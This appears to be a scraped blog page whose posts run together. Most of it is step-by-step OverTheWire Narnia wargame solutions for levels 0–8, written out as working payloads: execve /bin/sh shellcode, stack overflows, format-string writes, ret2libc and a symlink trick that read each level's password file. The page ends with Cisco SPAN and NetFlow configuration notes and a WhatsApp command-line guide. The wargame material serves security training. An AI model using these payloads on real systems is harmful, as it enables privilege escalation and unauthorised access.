#cat vm_backup.script#./vm_backup.script XS01 vserver.lab.net
# XenServer virtual machine backup script
# Narnia wargame: Level 8
#ssh narnia8@narnia.labs.overthewire.org6d6f6874687570686f67narnia8@melissa$file /narnia/narnia8narnia8@melissa$cat /narnia/narnia8.cnarnia8@melissa$mkdir /tmp/n8narnia8@melissa$cd /tmp/n8narnia8@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`narnia8@melissa$./getenvaddr EGG /narnia/narnia8narnia8@melissa$/narnia/narnia8 `perl -e 'print "A"x20 . "\xeb\xd8\xff\xff" . "A"x8 . "\x8d\x7f\xff\xff" . "\x7d\xd9\xff\xff"'`$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia9$exitnarnia8@melissa:/tmp/n8$/narnia/narnia8 `perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xeb\x04" . "\xeb\xd8\xff\xff" . "\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x8d\x7f\xff\xff" . "\xeb\xd8\xff\xff"'`$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia9$exitnarnia8@melissa$ln -s /bin/sh shnarnia8@melissa$/narnia/narnia8 `perl -e 'print "\x31\xc0\x50\x68\x2e\x2f\x73\x68\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xeb\xd8\xff\xff" . "A"x8 . "\x8d\x7f\xff\xff" . "\xeb\xd8\xff\xff"'`$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia9
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 7
#ssh narnia7@narnia.labs.overthewire.org61686b69617a69706875narnia7@melissa$file /narnia/narnia7narnia7@melissa$cat /narnia/narnia7.cnarnia7@melissa$/narnia/narnia7 `perl -e 'print "\x9c\xd6\xff\xff" . "%x%x%x%x%.134514310d%n"'`$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia8
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 6
#ssh narnia6@narnia.labs.overthewire.org6e65657a6f6361656e67narnia6@melissa$file /narnia/narnia6narnia6@melissa$cat /narnia/narnia6.cnarnia6@melissa$gdb -q /narnia/narnia6(gdb)run a b(gdb)break system(gdb)quitnarnia6@melissa$/narnia/narnia6 `perl -e 'print "a"x8 . "\x60\xf2\xea\xf7"'` `perl -e 'print "a"x8 . "/bin/sh"'`$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia7
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 5
#ssh narnia5@narnia.labs.overthewire.org6661696d616863686979narnia5@melissa$file /narnia/narnia5narnia5@melissa$cat /narnia/narnia5.cnarnia5@melissa$/narnia/narnia5 `perl -e 'print "\x3c\xd7\xff\xff" . "%x%x%x%.471d%n"'`$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia6
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 4
#ssh narnia4@narnia.labs.overthewire.org746861656e6f68746169narnia4@melissa$file /narnia/narnia4narnia4@melissa$cat /narnia/narnia4.cnarnia4@melissa$/narnia/narnia4 `perl -e 'print "\x90"x206 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xd0\xd4\xff\xff"x40'`$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia5
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 3
#ssh narnia3@narnia.labs.overthewire.org766165717565657a6565narnia3@melissa$file /narnia/narnia3narnia3@melissa$cat /narnia/narnia3.cnarnia3@melissa$mkdir -p /tmp/narnia3--------------------/tmpnarnia3@melissa$ln -s /etc/narnia_pass/narnia4 /tmp/narnia3--------------------/tmp/n4pwnarnia3@melissa$touch /tmp/n4pwnarnia3@melissa$chmod 666 /tmp/n4pwnarnia3@melissa$/narnia/narnia3 /tmp/narnia3--------------------/tmp/n4pwnarnia3@melissa$cat /tmp/n4pw
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 2
#ssh narnia2@narnia.labs.overthewire.org6e616972696570656375narnia2@melissa$file /narnia/narnia2narnia2@melissa$cat /narnia/narnia2.cnarnia2@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`narnia2@melissa$cat getenvaddr.cnarnia2@melissa$gcc -m32 -o getenvaddr getenvaddr.cnarnia2@melissa$./getenvaddr EGG /narnia/narnia2narnia2@melissa$/narnia/narnia2 `perl -e 'print "\x90"x140 . "\x7d\xd9\xff\xff"'`$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia3
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 1
#cat mycat.asm#nasm -f elf mycat.asm && ld -o mycat mycat.o#od2sc mycat#ssh narnia1@narnia.labs.overthewire.org65666569646965646165narnia1@melissa$file /narnia/narnia1narnia1@melissa$cat /narnia/narnia1.cnarnia1@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x6e\x69\x61\x32\x68\x2f\x6e\x61\x72\x68\x70\x61\x73\x73\x68\x6e\x69\x61\x5f\x68\x2f\x6e\x61\x72\x68\x2f\x65\x74\x63\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80"'`narnia1@melissa$/narnia/narnia1narnia1@melissa$export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`narnia1@melissa$/narnia/narnia1$/usr/bin/whoami$/bin/cat /etc/narnia_pass/narnia2
Labels:
narnia,
overthewire,
wargame
# Narnia wargame: Level 0
#ssh narnia0@narnia.labs.overthewire.org6e61726e696130narnia0@melissa$file /narnia/narnia0narnia0@melissa$cat /narnia/narnia0.cnarnia0@melissa$perl -e 'print "a"x20 . "\xef\xbe\xad\xde"'narnia0@melissa$cat | /narnia/narnia0aaaaaaaaaaaaaaaaaaaaï¾Þ/usr/bin/whoami/bin/cat /etc/narnia_pass/narnia1^Cnarnia0@melissa$(perl -e 'print "a"x20 . "\xef\xbe\xad\xde"' ; echo "/usr/bin/whoami" ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0narnia0@melissa$(((echo -e "aaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" ; exit) ; echo "/usr/bin/whoami") ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0
Labels:
narnia,
overthewire,
wargame
# Mini Protocol Analyzer
Understanding how the Mini Protocol Analyzer works
- Release 12.2(33)SXI and later releases support the Mini Protocol Analyzer feature.
- Captures network traffic from a SPAN session and stores the captured packet in a local memory buffer.
- You can limit the captured packets from selected VLANs, ACLs, MACs, ethertype or packet size.
- You can start and stop the capture using immediate commands, or schedule the capture to begin at a specified date and time.
- The captured data can be displayed on the console, stored to a local file system, or exported to an external server.
- By default, only the first 68 bytes of each packet are captured.
- Only one capture session is supported.
Configuration
Switch(config)#monitor session 1 type captureSwitch(config-mon-capture)#description Mini Protocol Analyzer sessionSwitch(config-mon-capture)#buffer-size 1024! The default is 2048 KB Switch(config-mon-capture)#rate-limit 1000! The default is 10000 packets per second Switch(config-mon-capture)#source interface gi1/1 bothSwitch(config-mon-capture)#filter access-group capture_aclSwitch(config-mon-capture)#filter vlan 100Switch(config-mon-capture)#filter ethertype 0x0800! IPv4 packets Switch(config-mon-capture)#filter length 0 1024! Between 0 and 1024 bytes Switch(config-mon-capture)#filter mac-address aabb.ccdd.eeff
Starting and stopping a capture
The capture ends when one of the following conditions occurs:
- A stop or clear command is executed.
- The capture buffer becomes full, unless it is configured as a circular buffer.
- The number of seconds has elapsed.
- The number of packets has been captured.
Switch#monitor capture linear startSwitch#monitor capture linear start for 10 secondsSwitch#monitor capture linear start schedule at 22:00:00 11 feb 2013
Displaying and exporting the capture buffer
Switch#show monitor captureSwitch#show monitor capture statusSwitch#show monitor capture buffer 1 detailSwitch#show monitor capture buffer 1 briefSwitch#monitor capture export buffer disk0:capture_file.cap
# Configuring Local SPAN, RSPAN and ERSPAN
Switched Port ANalyzer (SPAN)
- Monitors all traffic, including multicast and BPDUs.
- 2 local SPAN source sessions.
- 128 sources per session.
- 64 destinations per session.
Switch(config)#monitor session 1 type localSwitch(config-mon-local)#description SPAN sessionSwitch(config-mon-local)#source interface gi1/1-4 bothSwitch(config-mon-local)#destination interface gi2/1Switch(config-mon-local)#no shut
Switch(config)#monitor session 1 source interface gi1/1-4 bothSwitch(config)#monitor session 1 destination interface gi2/1
Remote SPAN (RSPAN)
- Uses a Layer 2 VLAN to carry SPAN traffic between switches.
- Does not monitor BPDUs.
- 2 RSPAN source sessions.
- 64 RSPAN destination sessions.
- 128 sources per session and 1 RSPAN VLAN.
- 64 destinations per session.
- Any network device that supports RSPAN VLANs can be an RSPAN intermediate device.
- MAC address learning is disabled in the RSPAN VLAN.
Switch1(config)#monitor session 1 type rspan-sourceSwitch1(config-mon-rspan-src)#description RSPAN session - sourceSwitch1(config-mon-rspan-src)#source interface gi1/1-4 bothSwitch1(config-mon-rspan-src)#destination remote vlan 666Switch1(config-mon-rspan-src)#no shutSwitch2(config)#monitor session 1 type rspan-destinationSwitch2(config-mon-rspan-dst)#description RSPAN session - destinationSwitch2(config-mon-rspan-dst)#source remote vlan 666Switch2(config-mon-rspan-dst)#destination interface gi2/1Switch2(config-mon-rspan-dst)#no shut
Switch1(config)#monitor session 1 source interface gi1/1-4 bothSwitch1(config)#monitor session 1 destination remote vlan 666Switch2(config)#monitor session 1 source remote vlan 666Switch2(config)#monitor session 1 destination interface gi2/1
Encapsulated RSPAN (ERSPAN)
- Uses a GRE tunnel to carry traffic between switches.
- Adds 50 byte header.
- DF bit is set to prevent fragmentation.
- ERSPAN ID differentiates from various different ERSPAN source sessions.
- Monitors all traffic, including multicast and BPDUs.
- 2 ERSPAN source sessions.
- 24 ERSPAN destination sessions.
- 128 sources per session and 1 IP address.
- 64 destinations per session.
Switch1(config)#monitor session 1 type erspan-sourceSwitch1(config-mon-erspan-src)#description ERSPAN session - sourceSwitch1(config-mon-erspan-src)#source interface gi1/1-4 bothSwitch1(config-mon-erspan-src)#destinationSwitch1(config-mon-erspan-src-dst)#ip address 10.2.2.2Switch1(config-mon-erspan-src-dst)#erspan-id 111Switch1(config-mon-erspan-src-dst)#origin ip address 10.1.1.1Switch1(config-mon-erspan-src-dst)#ip ttl 5Switch1(config-mon-erspan-src)#no shutSwitch2(config)#monitor session 1 type erspan-destinationSwitch2(config-mon-erspan-dst)#description ERSPAN session - destinationSwitch2(config-mon-erspan-dst)#sourceSwitch2(config-mon-erspan-dst-src)#ip address 10.2.2.2Switch2(config-mon-erspan-dst-src)#erspan-id 111Switch2(config-mon-erspan-dst)#destination interface gi2/1Switch2(config-mon-erspan-dst)#no shut
Source trunk VLAN filtering
Switch(config)# monitor session 1 filter vlan 1-5,10Destination trunk VLAN filtering
Switch(config)#interface gi2/1Switch(config-if)#switchportSwitch(config-if)#switchport encapsulation dot1qSwitch(config-if)#switchport mode trunkSwitch(config-if)#switchport trunk allowed vlan 10
Destination port permit lists
Switch(config)#monitor permit-listSwitch(config)#monitor permit-list destination interface gi2/2-4Switch#show monitor permit-list
Notes
- SPAN does not copy the encapsulation from trunk sources. You can configure SPAN destinations as trunks to tag the monitored traffic before it is transmitted for analysis.
- Traffic that enters a VLAN through a Layer 3 VLAN interface is monitored when it is transmitted through an egress port that is in the source VLAN.
- Destination etherchannels do not support PAgP or LACP protocols, only the on mode.
- You can connect member links of a destination etherchannel to separate network analyzers.
- SPAN consumes too many switch and network resources to enable permanently.
# NetFlow configuration on Catalyst and Nexus switches
Background information
- The NetFlow cache on the Multilayer Switch Feature Card (MSFC) captures statistics for flows routed in software.
- The NetFlow cache on the Policy Feature Card (PFC) captures statistics for flows routed in hardware.
- A flow mask defines the format of a cache entry in the NetFlow cache table.
- You need to configure Netflow Data Export (NDE) to export NetFlow statistics to a NetFlow collector.
Catalyst NetFlow configuration
- MSFC configuration
Catalyst(config)#interface vlan10Catalyst(config-if)#ip route-cache flowCatalyst(config)#ip flow-export version 5Catalyst(config)#ip flow-cache timeout active 5Catalyst(config)#ip flow-cache timeout inactive 15
- PFC configuration
Catalyst(config)#mls netflowCatalyst(config)#mls flow ip full-interfaceCatalyst(config)#mls nde sender version 5Catalyst(config)#mls aging fastCatalyst(config)#mls aging long 300Catalyst(config)#mls aging normal 15
- Common configuration
Catalyst(config)#snmp-server ifindex persistCatalyst(config)#ip flow-export source loopback0Catalyst(config)#ip flow-export destination 10.0.0.1 9995
- Checks
Catalyst#show ip flow exportCatalyst#show ip cache flowCatalyst#show mls ndeCatalyst#show snmp mib ifmib ifindex
Nexus NetFlow configuration
- Configuration
Nexus(config)#feature netflowNexus(config)#flow exporter collectorNexus(config-flow-exporter)#description export netflow to collectorNexus(config-flow-exporter)#destination 10.0.0.1Nexus(config-flow-exporter)#version 5Nexus(config-flow-exporter)#source loopback0Nexus(config-flow-exporter)#transport udp 9995Nexus(config)#flow monitor monitor_nexusNexus(config-flow-monitor)#exporter collectorNexus(config-flow-monitor)#record netflow-originalNexus(config)#int vlan10Nexus(config-if)#ip flow monitor monitor_nexus inputNexus(config)#flow timeout active 300Nexus(config)#flow timeout inactive 15
- Checks
Nexus#show flow monitor monitor_nexusNexus#show flow exporter collectorNexus#show flow record netflow-originalNexus#show hardware flow ipNexus#show interface snmp-ifindex
# yowsup-cli: Send Whatsapp messages from command-line
Installation and configuration
#apt-get install python python-dateutil python-argparse#wget https://github.com/tgalal/yowsup/archive/master.zip#unzip master.zip#cd yowsup-master/src#cp config.example yowsup-cli.config#cat yowsup-cli.config#chmod +x yowsup-cli#./yowsup-cli --requestcode sms --config yowsup-cli.config#./yowsup-cli --register 123-456 --config yowsup-cli.config#cat yowsup-cli.config
Send a message
# ./yowsup-cli --send 34111222333 "Test message" --wait --config yowsup-cli.config
Receive messages
# ./yowsup-cli --listen --autoack --keepalive --config yowsup-cli.config
Interactive: Send and receive messages
#./yowsup-cli --interactive 34111222333 --wait --autoack --keepalive --config yowsup-cli.config/unavailable
References
https://github.com/tgalal/yowsup
http://www.fonyou.es
Labels:
command-line,
whatsapp,
yowsup-cli
Subscribe to:
Comments (Atom)